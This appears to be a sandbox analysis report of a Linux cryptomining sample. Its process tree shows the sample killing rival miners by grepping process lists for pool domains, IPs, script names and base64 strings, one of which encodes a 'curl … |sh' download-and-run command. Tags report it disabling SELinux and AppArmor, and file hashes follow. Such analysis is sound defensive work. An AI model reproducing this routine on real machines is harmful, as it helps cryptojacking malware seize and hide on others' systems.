/bin/grepgrep -v grep2⤵PID:1510
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1509
-
-
/bin/grepgrep he.sh2⤵PID:1511
-
-
/bin/grepgrep curl2⤵PID:1512
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1513
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1514
-
-
/bin/grepgrep -v grep2⤵PID:1516
-
-
/bin/psps aux2⤵PID:1515
-
-
/bin/grepgrep miner.sh2⤵PID:1517
-
-
/bin/grepgrep wget2⤵PID:1518
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1519
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1520
-
-
/bin/grepgrep -v grep2⤵PID:1522
-
-
/bin/psps aux2⤵PID:1521
-
-
/bin/grepgrep miner.sh2⤵PID:1523
-
-
/bin/grepgrep curl2⤵PID:1524
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1525
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1526
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1527
-
-
/bin/grepgrep -v grep2⤵PID:1528
-
-
/bin/grepgrep nullcrew2⤵PID:1529
-
-
/bin/grepgrep wget2⤵PID:1530
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1531
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1532
-
-
/bin/grepgrep -v grep2⤵PID:1534
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1533
-
-
/bin/grepgrep nullcrew2⤵PID:1535
-
-
/bin/grepgrep curl2⤵PID:1536
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1537
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1538
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1539
-
-
/bin/grepgrep -v grep2⤵PID:1540
-
-
/bin/grepgrep 107.174.47.1562⤵PID:1541
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1542
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1543
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1544
-
-
/bin/grepgrep -v grep2⤵PID:1545
-
-
/bin/grepgrep 83.220.169.2472⤵PID:1546
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1547
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1548
-
-
/bin/grepgrep -v grep2⤵PID:1551
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1550
-
-
/bin/grepgrep 51.38.203.1462⤵PID:1552
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1553
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1554
-
-
/bin/grepgrep -v grep2⤵PID:1556
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1555
-
-
/bin/grepgrep 144.217.45.452⤵PID:1557
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1558
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1559
-
-
/bin/grepgrep -v grep2⤵PID:1561
-
-
/bin/psps aux2⤵PID:1560
-
-
/bin/grepgrep 107.174.47.1812⤵PID:1562
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1563
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1564
-
-
/bin/psps aux2⤵PID:1565
-
-
/bin/grepgrep -v grep2⤵PID:1566
-
-
/bin/grepgrep 176.31.6.162⤵PID:1567
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1568
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1569
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1570
-
-
/bin/grepgrep -v grep2⤵PID:1571
-
-
/bin/grepgrep mine.moneropool.com2⤵PID:1572
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1573
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1574
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1575
-
-
/bin/grepgrep -v grep2⤵PID:1576
-
-
/bin/grepgrep pool.t00ls.ru2⤵PID:1577
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1578
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1579
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1580
-
-
/bin/grepgrep -v grep2⤵PID:1581
-
-
/bin/grepPID:1582
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1583
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1584
-
-
/bin/grepgrep -v grep2⤵PID:1586
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1585
-
-
/bin/grepgrep monerohash.com2⤵PID:1587
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1588
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1589
-
-
/bin/grepgrep -v grep2⤵PID:1591
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1590
-
-
/bin/grepgrep /tmp/a7b104c2702⤵
- Disables SELinux
PID:1592
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1593
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1594
-
-
/bin/grepgrep -v grep2⤵PID:1596
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1595
-
-
/bin/grepgrep stratum.f2pool.com:88882⤵PID:1597
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1598
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1599
-
-
/bin/grepgrep -v grep2⤵PID:1601
-
-
/bin/grepgrep xmrpool.eu2⤵PID:1602
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1600
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1603
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1604
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1605
-
-
/bin/grepgrep -v grep2⤵PID:1606
-
-
/bin/grepgrep kieuanilam.me2⤵PID:1607
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1608
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1609
-
-
/bin/grepgrep xiaoyao2⤵PID:1611
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1612
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1610
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1613 -
/usr/local/sbin/killkill -9 16113⤵PID:1614
-
-
/usr/local/bin/killkill -9 16113⤵PID:1614
-
-
/usr/sbin/killkill -9 16113⤵PID:1614
-
-
/usr/bin/killkill -9 16113⤵PID:1614
-
-
/sbin/killkill -9 16113⤵PID:1614
-
-
/bin/killkill -9 16113⤵PID:1614
-
-
-
/bin/psps auxf2⤵PID:1615
-
-
/bin/grepgrep xiaoxue2⤵PID:1616
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1617
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1618
-
/usr/local/sbin/killkill -9 16163⤵PID:1619
-
-
/usr/local/bin/killkill -9 16163⤵PID:1619
-
-
/usr/sbin/killkill -9 16163⤵PID:1619
-
-
/usr/bin/killkill -9 16163⤵PID:1619
-
-
/sbin/killkill -9 16163⤵PID:1619
-
-
/bin/killkill -9 16163⤵
- Reads CPU attributes
PID:1619
-
-
-
/bin/grepgrep 46.243.253.152⤵PID:1621
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1622
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1623
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1624
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1625
-
-
/bin/grepgrep 176.31.6.162⤵PID:1627
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1628
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1629
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1630
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1631
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1633
-
-
/usr/bin/pgreppgrep -f L2Jpbi9iYXN2⤵PID:1632
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1635
-
-
/usr/bin/pgreppgrep -f xzpauectgr2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1634
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1637
-
-
/usr/bin/pgreppgrep -f slxfbkmxtd2⤵PID:1636
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1639
-
-
/usr/bin/pgreppgrep -f mixtape2⤵PID:1638
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1641
-
-
/usr/bin/pgreppgrep -f addnj2⤵PID:1640
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1643
-
-
/usr/bin/pgreppgrep -f 200.68.17.1962⤵
- Reads CPU attributes
PID:1642
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1645
-
-
/usr/bin/pgreppgrep -f IyEvYmluL3NoCgpzUG2⤵PID:1644
-
-
/usr/bin/pgreppgrep -f KHdnZXQgLXFPLSBodHRw2⤵PID:1646
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1647
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1649
-
-
/usr/bin/pgreppgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS32⤵PID:1648
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1651
-
-
/usr/bin/pgreppgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo2⤵
- Reads CPU attributes
PID:1650
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1653
-
-
/usr/bin/pgreppgrep -f mwyumwdbpq.conf2⤵PID:1652
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1655
-
-
/usr/bin/pgreppgrep -f honvbsasbf.conf2⤵PID:1654
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1657
-
-
/usr/bin/pgreppgrep -f mqdsflm.cf2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1656
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1659
-
-
/usr/bin/pgreppgrep -f lower.sh2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1658
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1661
-
-
/usr/bin/pgreppgrep -f ./ppp2⤵
- Reads CPU attributes
PID:1660
-
-
/usr/bin/pgreppgrep -f ./seervceaess2⤵
- Reads CPU attributes
PID:1662
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1663
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1665
-
-
/usr/bin/pgreppgrep -f ./servceaess2⤵PID:1664
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1667
-
-
/usr/bin/pgreppgrep -f ./servceas2⤵
- Reads CPU attributes
PID:1666
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1669
-
-
/usr/bin/pgreppgrep -f ./servcesa2⤵PID:1668
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1671
-
-
/usr/bin/pgreppgrep -f ./vsp2⤵
- Reads CPU attributes
PID:1670
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1673
-
-
/usr/bin/pgreppgrep -f ./jvs2⤵PID:1672
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1675
-
-
/usr/bin/pgreppgrep -f ./pvv2⤵
- Reads runtime system information
PID:1674
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1677
-
-
/usr/bin/pgreppgrep -f ./vpp2⤵PID:1676
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1679
-
-
/usr/bin/pgreppgrep -f ./pces2⤵
- Reads CPU attributes
PID:1678
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1681
-
-
/usr/bin/pgreppgrep -f ./rspce2⤵PID:1680
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1683
-
-
/usr/bin/pgreppgrep -f ./haveged2⤵
- Reads CPU attributes
PID:1682
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1685
-
-
/usr/bin/pgreppgrep -f ./jiba2⤵
- Reads CPU attributes
PID:1684
-
-
/usr/sbin/sendmailsendmail -t1⤵PID:744
-
/usr/sbin/exim4/usr/sbin/exim4 -Mc 1ri8M8-0000C0-Lt2⤵
- Reads CPU attributes
PID:771
-
-
/usr/sbin/sendmailsendmail -t1⤵PID:747
-
/usr/sbin/exim4/usr/sbin/exim4 -Mc 1ri8M3-0000C3-Fg2⤵PID:759
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:770
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Enumerates kernel/hardware configuration
PID:769
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:793
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:794
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
825B
MD5fa2872ab947b44ac47bb5bcde82b54a5
SHA1f6b2bdec4fc1a9f77349b6b93b682e6d31596f89
SHA2560deff3275fddecb04c8d0c65f6b128c6bf63ac2696ee263e689507a228a5610e
SHA512de102b00437535717909876284f769c39e3fd296e2c2eb32ab56e4c0b3815b82cd9fbf8b1f507b31f79db2aadf9ada376ebf333b674ab368706bae5ad6915f43
-
Filesize
1KB
MD520db8011915c255ec78d2b3ec17c5857
SHA1efe251921ad8e71e4f78c29faeec8089aa2ee0a8
SHA256ed06a7d74222087a1ed7b54d119286d7a2a0985a451554d97ae43e4e59aa253a
SHA5128511f100d52ac20e3fc27ffadf09a45b41bce42740cc54bb642990fe8de4889817f7893746d8e366a79c415b30992a6560ce8aec19a71c51280d47f8598a6b6b
-
Filesize
146B
MD5c25c880547628dcb6b3b5eb34815478e
SHA1903957786accc04540156775b94b8d52dd74e31f
SHA25611858859a1fe9a7967cf292e07a684a27e39899f519cb5b3d5a047efabc8c173
SHA512e0c37095f875ba61dc36e8b81c1d7fdced38b61b9da0527b76909f5ac8cdb68fce4fdc23097627ee2607f19dae74d53e39c6bb4cdb8415cdbe9cf408d5a0ccbb
-
Filesize
34B
MD5d7d96d63d643a4ce3e408eba7dfcedc5
SHA1c53607f95c5c57beafc1d8266646797a035f76ea
SHA25621db3a59b2d0ce18fb250b787d6e2c85d12919f5fdf1448c8f48207c4083b159
SHA512703a03e54776a6ad9b8adc6c475bbc91c06502618fa3b6f495b1a01a4f6f7aa6fb65dc6ba6885ddc6af961627062f1ce1e1d66688288cbd3bef7754d249fa9b3
-
Filesize
915B
MD55557415287820004862a16b31b2bf077
SHA1c2e0449f9b5074d9c39382c9483ca6bb3c41b6f1
SHA256075ea045184aa7dc3a64608e1241eea36362e290be810f3434d504e711d9282a
SHA5125cb31bee97ba93ce3997897c09a54d20af60d989129fc922a78bc6eb952b88c83187a6c85accb27f73aea4442f52f7bf3643ede6b4ed478e639386be3a210830
-
Filesize
915B
MD57cb56185b04b50126720d6158b4d1bfa
SHA1660fe4e8ddb40bea2d8d96baa32700118bfab385
SHA25615c472e91f030b400ad976b3a0a08dcb764579cc3a02a2c66f11b2d50d0e44b4
SHA5122a2452dcfbd700d511d6a8c4a95a0929b7024ff5df7b1b093792d617e7c04ad797de5b33b1f46f4f18e6d9354a8a82329ff76b3ae528911c1509363318c1e5ea
-
Filesize
288B
MD53412efc77b848950f0ed46ee88033619
SHA1fa626f3cacdb6b7554c6c814e9ef5c3e9930d6e6
SHA25681362ec242076f7c6709a674a045a3891fc1f0a0f1246fbf7da38db0db1343c3
SHA512f64522e6a04e3c101b1e684f625c3b661768f72c60b11a7ef8b40e39310e574fa348ae12afa911efd0ad9fe010717762a581fddf7d36ae287017fce380d0ff77
-
Filesize
89B
MD59e23eb9149954bc5255f07eac15791c4
SHA128bcd0c147f24f407bfed5807093b885a1c95d7b
SHA2566ee89cbed9674fe75821df019928acb26ed93c9f76542d7e6e4c34af8c74d447
SHA51256b0ae4b8481e20689c11ef40fab8faeebdc6122a6df86538590eee5ec3ee5669f567c71929b80f7725c7a9aca5e84942f984e24c2fe4f4bd1e406e8e3e7b55e
-
Filesize
288B
MD5d2ddb151525953c5bc9874913ded09a2
SHA15dfe5c1a0e0e21c9742384e794812ceaa90a3ab3
SHA2569ad7a404c5d9df8a816c95cc78595d0bd436637a5de15b4b2b1a7415c95afd8e
SHA512f88ae3052e52c5fe1c5ad5cd17a9c6c6663a7d66dcd7b03ce8aaf29b716a60e317fac110b703589917725e9f38a61bbc02b50edb967f0edb4ba49a9a44f47520
-
Filesize
89B
MD56cdbd5613b1e403bd4d895f908eb2385
SHA1abdbad01da1c327bf00f894728b4d76b0fa25314
SHA25696efc573230267aebb7997540d745f10cf5cb2920ab2d58f420780d366c3c4bd
SHA512c81767cf21bf96e9773c7efe35baab942b960a732861fec56feaab6765e95ec826a827635d7998ebdcf046b3315f0566b8169a5e1b0537d2a47fa422375a0590